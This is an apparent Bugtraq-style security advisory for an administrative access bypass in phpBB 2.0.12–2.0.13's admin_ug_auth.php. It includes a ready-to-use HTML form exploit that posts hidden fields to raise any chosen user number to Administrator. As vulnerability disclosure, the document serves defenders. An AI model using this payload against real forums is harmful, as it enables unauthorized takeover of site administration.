PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

BID:22730

Info

PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

Bugtraq ID: 22730
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 26 2007 12:00AM
Updated: Feb 26 2007 11:06PM
Credit: Hasadya Raed is credited with discovering this issue.
Vulnerable: phpBB2 phpBB2 Plus 2.0.13
+ phpBB Group phpBB 2.0.13
+ phpBB Group phpBB 2.0.12
Not Vulnerable:

Discussion

PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

PHPBB2 is prone to a vulnerability that will let attackers gain administrative access to the application because it fails to properly validate access.

Successful exploits may result in a complete compromise of vulnerable applications.

Exploit / POC

PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following exploit POST request is available:

<html>
<head>
</head>
<body>

<form method="post"
action="www.example.com/board_directory/admin/admin_ug_auth.php">
User Level: <select name="userlevel">
<option value="admin">Administrator</option>
<option value="user">User</option></select>
<input type="hidden" name="private[1]" value="0">
<input type="hidden" name="moderator[1]" value="0">
<input type="hidden" name="mode" value="user">
<input type="hidden" name="adv" value="">
User Number: <input type="text" name="u" size="5">
<input type="submit" name="submit" value="Submit">

</form>
</body>
</html>

Solution / Fix

PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

References

PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

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